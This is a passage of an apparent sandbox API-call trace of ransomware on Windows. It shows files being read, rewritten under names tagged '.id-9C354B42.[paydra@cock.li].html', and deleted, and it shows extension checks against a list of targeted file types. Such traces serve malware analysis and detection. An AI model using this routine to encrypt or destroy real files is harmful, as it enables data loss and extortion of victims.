maker\\shared\\dvdstyles\\sports\\sportsmaintonotesbackground_pal.wmv.id-9c354b42.[paydra@cock.li].html")) returned 0 [0050.150] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToScenesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintoscenesbackground.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToScenesBackground.wmv.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintoscenesbackground.wmv.id-9c354b42.[paydra@cock.li].html")) returned 0 [0050.150] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToScenesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintoscenesbackground_pal.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToScenesBackground_PAL.wmv.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintoscenesbackground_pal.wmv.id-9c354b42.[paydra@cock.li].html")) returned 0 [0050.151] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsNotesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsnotesbackground.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsNotesBackground.wmv.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsnotesbackground.wmv.id-9c354b42.[paydra@cock.li].html")) returned 0 [0050.152] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsNotesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsnotesbackground_pal.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsNotesBackground_PAL.wmv.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsnotesbackground_pal.wmv.id-9c354b42.[paydra@cock.li].html")) returned 0 [0050.152] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsScenesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsscenesbackground.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsScenesBackground.wmv.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsscenesbackground.wmv.id-9c354b42.[paydra@cock.li].html")) returned 0 [0050.152] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsScenesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsscenesbackground_pal.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsScenesBackground_PAL.wmv.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsscenesbackground_pal.wmv.id-9c354b42.[paydra@cock.li].html")) returned 0 [0050.178] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.178] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.178] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\as80.xsl.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x228 [0050.178] GetLastError () returned 0x0 [0050.178] ReadFile (in: hFile=0x198, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x4360, lpOverlapped=0x0) returned 1 [0050.182] WriteFile (in: hFile=0x228, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0x4370, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0x4370, lpOverlapped=0x0) returned 1 [0050.183] ReadFile (in: hFile=0x198, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0050.183] WriteFile (in: hFile=0x228, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0xe4, lpOverlapped=0x0) returned 1 [0050.183] SetEndOfFile (hFile=0x228) returned 1 [0050.183] CloseHandle (hObject=0x228) returned 1 [0050.184] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.184] SetEndOfFile (hFile=0x198) returned 1 [0050.184] CloseHandle (hObject=0x198) returned 1 [0050.185] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0050.185] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\as80.xsl")) returned 1 [0050.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl") returned 76 [0050.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl") returned 76 [0050.185] lstrlenW (lpString=".doc") returned 4 [0050.185] lstrcmpiW (lpString1=".doc", lpString2=".xsl") returned -1 [0050.185] lstrlenW (lpString=".docx") returned 5 [0050.185] lstrcmpiW (lpString1=".docx", lpString2="0.xsl") returned -1 [0050.185] lstrlenW (lpString=".pdf") returned 4 [0050.185] lstrcmpiW (lpString1=".pdf", lpString2=".xsl") returned -1 [0050.185] lstrlenW (lpString=".xls") returned 4 [0050.185] lstrcmpiW (lpString1=".xls", lpString2=".xsl") returned -1 [0050.185] lstrlenW (lpString=".xlsx") returned 5 [0050.186] lstrcmpiW (lpString1=".xlsx", lpString2="0.xsl") returned -1 [0050.186] lstrlenW (lpString=".ppt") returned 4 [0050.186] lstrcmpiW (lpString1=".ppt", lpString2=".xsl") returned -1 [0050.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl") returned 76 [0050.186] lstrlenW (lpString=".zip") returned 4 [0050.186] lstrcmpiW (lpString1=".zip", lpString2=".xsl") returned 1 [0050.186] lstrlenW (lpString=".rar") returned 4 [0050.186] lstrcmpiW (lpString1=".rar", lpString2=".xsl") returned -1 [0050.186] lstrlenW (lpString=".bz2") returned 4 [0050.186] lstrcmpiW (lpString1=".bz2", lpString2=".xsl") returned -1 [0050.186] lstrlenW (lpString=".7z") returned 3 [0050.186] lstrcmpiW (lpString1=".7z", lpString2="xsl") returned -1 [0050.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl") returned 76 [0050.186] lstrlenW (lpString=".dbf") returned 4 [0050.186] lstrcmpiW (lpString1=".dbf", lpString2=".xsl") returned -1 [0050.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl") returned 76 [0050.186] lstrlenW (lpString=".1cd") returned 4 [0050.186] lstrcmpiW (lpString1=".1cd", lpString2=".xsl") returned -1 [0050.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl") returned 76 [0050.186] lstrlenW (lpString=".jpg") returned 4 [0050.186] lstrcmpiW (lpString1=".jpg", lpString2=".xsl") returned -1 [0050.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl") returned 76 [0050.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl") returned 76 [0050.186] lstrlenW (lpString=".doc") returned 4 [0050.186] lstrcmpiW (lpString1=".doc", lpString2=".xsl") returned -1 [0050.186] lstrlenW (lpString=".docx") returned 5 [0050.186] lstrcmpiW (lpString1=".docx", lpString2="0.xsl") returned -1 [0050.186] lstrlenW (lpString=".pdf") returned 4 [0050.186] lstrcmpiW (lpString1=".pdf", lpString2=".xsl") returned -1 [0050.186] lstrlenW (lpString=".xls") returned 4 [0050.186] lstrcmpiW (lpString1=".xls", lpString2=".xsl") returned -1 [0050.186] lstrlenW (lpString=".xlsx") returned 5 [0050.186] lstrcmpiW (lpString1=".xlsx", lpString2="0.xsl") returned -1 [0050.187] lstrlenW (lpString=".ppt") returned 4 [0050.187] lstrcmpiW (lpString1=".ppt", lpString2=".xsl") returned -1 [0050.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl") returned 76 [0050.187] lstrlenW (lpString=".zip") returned 4 [0050.187] lstrcmpiW (lpString1=".zip", lpString2=".xsl") returned 1 [0050.187] lstrlenW (lpString=".rar") returned 4 [0050.187] lstrcmpiW (lpString1=".rar", lpString2=".xsl") returned -1 [0050.187] lstrlenW (lpString=".bz2") returned 4 [0050.187] lstrcmpiW (lpString1=".bz2", lpString2=".xsl") returned -1 [0050.187] lstrlenW (lpString=".7z") returned 3 [0050.187] lstrcmpiW (lpString1=".7z", lpString2="xsl") returned -1 [0050.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl") returned 76 [0050.187] lstrlenW (lpString=".dbf") returned 4 [0050.187] lstrcmpiW (lpString1=".dbf", lpString2=".xsl") returned -1 [0050.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl") returned 76 [0050.187] lstrlenW (lpString=".1cd") returned 4 [0050.187] lstrcmpiW (lpString1=".1cd", lpString2=".xsl") returned -1 [0050.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl") returned 76 [0050.187] lstrlenW (lpString=".jpg") returned 4 [0050.187] lstrcmpiW (lpString1=".jpg", lpString2=".xsl") returned -1 [0050.187] lstrcmpiW (lpString1=".xsl", lpString2=".html") returned 1 [0050.187] lstrlenW (lpString="as90.xsl") returned 8 [0050.187] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\as90.xsl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x228 [0050.192] GetFileSizeEx (in: hFile=0x228, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=18738) returned 1 [0050.192] CloseHandle (hObject=0x228) returned 1 [0050.192] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\as90.xsl")) returned 0x20 [0050.192] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\as90.xsl.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0050.192] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\as90.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x228 [0050.192] SetFilePointerEx (in: hFile=0x228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.192] SetFilePointerEx (in: hFile=0x228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.192] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\as90.xsl.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0050.193] GetLastError () returned 0x0 [0050.193] ReadFile (in: hFile=0x228, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x4932, lpOverlapped=0x0) returned 1 [0050.198] WriteFile (in: hFile=0x218, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0x4940, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0x4940, lpOverlapped=0x0) returned 1 [0050.199] ReadFile (in: hFile=0x228, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0050.200] WriteFile (in: hFile=0x218, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0xe4, lpOverlapped=0x0) returned 1 [0050.200] SetEndOfFile (hFile=0x218) returned 1 [0050.200] CloseHandle (hObject=0x218) returned 1 [0050.200] SetFilePointerEx (in: hFile=0x228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.200] SetEndOfFile (hFile=0x228) returned 1 [0050.201] CloseHandle (hObject=0x228) returned 1 [0050.201] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0050.201] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\as90.xsl")) returned 1 [0050.201] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl") returned 76 [0050.201] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl") returned 76 [0050.201] lstrlenW (lpString=".doc") returned 4 [0050.201] lstrcmpiW (lpString1=".doc", lpString2=".xsl") returned -1 [0050.201] lstrlenW (lpString=".docx") returned 5 [0050.201] lstrcmpiW (lpString1=".docx", lpString2="0.xsl") returned -1 [0050.201] lstrlenW (lpString=".pdf") returned 4 [0050.202] lstrcmpiW (lpString1=".pdf", lpString2=".xsl") returned -1 [0050.202] lstrlenW (lpString=".xls") returned 4 [0050.202] lstrcmpiW (lpString1=".xls", lpString2=".xsl") returned -1 [0050.202] lstrlenW (lpString=".xlsx") returned 5 [0050.202] lstrcmpiW (lpString1=".xlsx", lpString2="0.xsl") returned -1 [0050.202] lstrlenW (lpString=".ppt") returned 4 [0050.202] lstrcmpiW (lpString1=".ppt", lpString2=".xsl") returned -1 [0050.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl") returned 76 [0050.202] lstrlenW (lpString=".zip") returned 4 [0050.202] lstrcmpiW (lpString1=".zip", lpString2=".xsl") returned 1 [0050.202] lstrlenW (lpString=".rar") returned 4 [0050.202] lstrcmpiW (lpString1=".rar", lpString2=".xsl") returned -1 [0050.202] lstrlenW (lpString=".bz2") returned 4 [0050.202] lstrcmpiW (lpString1=".bz2", lpString2=".xsl") returned -1 [0050.202] lstrlenW (lpString=".7z") returned 3 [0050.202] lstrcmpiW (lpString1=".7z", lpString2="xsl") returned -1 [0050.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl") returned 76 [0050.202] lstrlenW (lpString=".dbf") returned 4 [0050.202] lstrcmpiW (lpString1=".dbf", lpString2=".xsl") returned -1 [0050.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl") returned 76 [0050.202] lstrlenW (lpString=".1cd") returned 4 [0050.202] lstrcmpiW (lpString1=".1cd", lpString2=".xsl") returned -1 [0050.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl") returned 76 [0050.202] lstrlenW (lpString=".jpg") returned 4 [0050.202] lstrcmpiW (lpString1=".jpg", lpString2=".xsl") returned -1 [0050.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl") returned 76 [0050.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl") returned 76 [0050.202] lstrlenW (lpString=".doc") returned 4 [0050.202] lstrcmpiW (lpString1=".doc", lpString2=".xsl") returned -1 [0050.202] lstrlenW (lpString=".docx") returned 5 [0050.202] lstrcmpiW (lpString1=".docx", lpString2="0.xsl") returned -1 [0050.203] lstrlenW (lpString=".pdf") returned 4 [0050.203] lstrcmpiW (lpString1=".pdf", lpString2=".xsl") returned -1 [0050.203] lstrlenW (lpString=".xls") returned 4 [0050.203] lstrcmpiW (lpString1=".xls", lpString2=".xsl") returned -1 [0050.203] lstrlenW (lpString=".xlsx") returned 5 [0050.203] lstrcmpiW (lpString1=".xlsx", lpString2="0.xsl") returned -1 [0050.203] lstrlenW (lpString=".ppt") returned 4 [0050.203] lstrcmpiW (lpString1=".ppt", lpString2=".xsl") returned -1 [0050.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl") returned 76 [0050.203] lstrlenW (lpString=".zip") returned 4 [0050.203] lstrcmpiW (lpString1=".zip", lpString2=".xsl") returned 1 [0050.203] lstrlenW (lpString=".rar") returned 4 [0050.203] lstrcmpiW (lpString1=".rar", lpString2=".xsl") returned -1 [0050.203] lstrlenW (lpString=".bz2") returned 4 [0050.203] lstrcmpiW (lpString1=".bz2", lpString2=".xsl") returned -1 [0050.203] lstrlenW (lpString=".7z") returned 3 [0050.203] lstrcmpiW (lpString1=".7z", lpString2="xsl") returned -1 [0050.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl") returned 76 [0050.203] lstrlenW (lpString=".dbf") returned 4 [0050.203] lstrcmpiW (lpString1=".dbf", lpString2=".xsl") returned -1 [0050.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl") returned 76 [0050.203] lstrlenW (lpString=".1cd") returned 4 [0050.203] lstrcmpiW (lpString1=".1cd", lpString2=".xsl") returned -1 [0050.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl") returned 76 [0050.203] lstrlenW (lpString=".jpg") returned 4 [0050.203] lstrcmpiW (lpString1=".jpg", lpString2=".xsl") returned -1 [0050.203] lstrcmpiW (lpString1=".xsl", lpString2=".html") returned 1 [0050.203] lstrlenW (lpString="Informix.xsl") returned 12 [0050.204] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\informix.xsl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x228 [0050.204] GetFileSizeEx (in: hFile=0x228, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=30948) returned 1 [0050.204] CloseHandle (hObject=0x228) returned 1 [0050.204] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\informix.xsl")) returned 0x20 [0050.204] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\informix.xsl.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0050.204] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\informix.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x228 [0050.204] SetFilePointerEx (in: hFile=0x228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.204] SetFilePointerEx (in: hFile=0x228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.204] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\informix.xsl.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0050.204] GetLastError () returned 0x0 [0050.204] ReadFile (in: hFile=0x228, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x78e4, lpOverlapped=0x0) returned 1 [0050.209] WriteFile (in: hFile=0x218, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0x78f0, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0x78f0, lpOverlapped=0x0) returned 1 [0050.210] ReadFile (in: hFile=0x228, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0050.210] WriteFile (in: hFile=0x218, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0xec, lpOverlapped=0x0) returned 1 [0050.210] SetEndOfFile (hFile=0x218) returned 1 [0050.210] CloseHandle (hObject=0x218) returned 1 [0050.210] SetFilePointerEx (in: hFile=0x228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.211] SetEndOfFile (hFile=0x228) returned 1 [0050.211] CloseHandle (hObject=0x228) returned 1 [0050.211] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0050.212] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\informix.xsl")) returned 1 [0050.212] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl") returned 80 [0050.212] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl") returned 80 [0050.212] lstrlenW (lpString=".doc") returned 4 [0050.212] lstrcmpiW (lpString1=".doc", lpString2=".xsl") returned -1 [0050.212] lstrlenW (lpString=".docx") returned 5 [0050.212] lstrcmpiW (lpString1=".docx", lpString2="x.xsl") returned -1 [0050.212] lstrlenW (lpString=".pdf") returned 4 [0050.212] lstrcmpiW (lpString1=".pdf", lpString2=".xsl") returned -1 [0050.212] lstrlenW (lpString=".xls") returned 4 [0050.212] lstrcmpiW (lpString1=".xls", lpString2=".xsl") returned -1 [0050.212] lstrlenW (lpString=".xlsx") returned 5 [0050.212] lstrcmpiW (lpString1=".xlsx", lpString2="x.xsl") returned -1 [0050.212] lstrlenW (lpString=".ppt") returned 4 [0050.212] lstrcmpiW (lpString1=".ppt", lpString2=".xsl") returned -1 [0050.212] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl") returned 80 [0050.212] lstrlenW (lpString=".zip") returned 4 [0050.212] lstrcmpiW (lpString1=".zip", lpString2=".xsl") returned 1 [0050.212] lstrlenW (lpString=".rar") returned 4 [0050.212] lstrcmpiW (lpString1=".rar", lpString2=".xsl") returned -1 [0050.212] lstrlenW (lpString=".bz2") returned 4 [0050.212] lstrcmpiW (lpString1=".bz2", lpString2=".xsl") returned -1 [0050.212] lstrlenW (lpString=".7z") returned 3 [0050.213] lstrcmpiW (lpString1=".7z", lpString2="xsl") returned -1 [0050.213] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl") returned 80 [0050.213] lstrlenW (lpString=".dbf") returned 4 [0050.213] lstrcmpiW (lpString1=".dbf", lpString2=".xsl") returned -1 [0050.213] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl") returned 80 [0050.213] lstrlenW (lpString=".1cd") returned 4 [0050.213] lstrcmpiW (lpString1=".1cd", lpString2=".xsl") returned -1 [0050.213] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl") returned 80 [0050.213] lstrlenW (lpString=".jpg") returned 4 [0050.213] lstrcmpiW (lpString1=".jpg", lpString2=".xsl") returned -1 [0050.213] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl") returned 80 [0050.213] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl") returned 80 [0050.213] lstrlenW (lpString=".doc") returned 4 [0050.213] lstrcmpiW (lpString1=".doc", lpString2=".xsl") returned -1 [0050.213] lstrlenW (lpString=".docx") returned 5 [0050.213] lstrcmpiW (lpString1=".docx", lpString2="x.xsl") returned -1 [0050.213] lstrlenW (lpString=".pdf") returned 4 [0050.213] lstrcmpiW (lpString1=".pdf", lpString2=".xsl") returned -1 [0050.213] lstrlenW (lpString=".xls") returned 4 [0050.213] lstrcmpiW (lpString1=".xls", lpString2=".xsl") returned -1 [0050.213] lstrlenW (lpString=".xlsx") returned 5 [0050.213] lstrcmpiW (lpString1=".xlsx", lpString2="x.xsl") returned -1 [0050.213] lstrlenW (lpString=".ppt") returned 4 [0050.213] lstrcmpiW (lpString1=".ppt", lpString2=".xsl") returned -1 [0050.213] lstrlenW 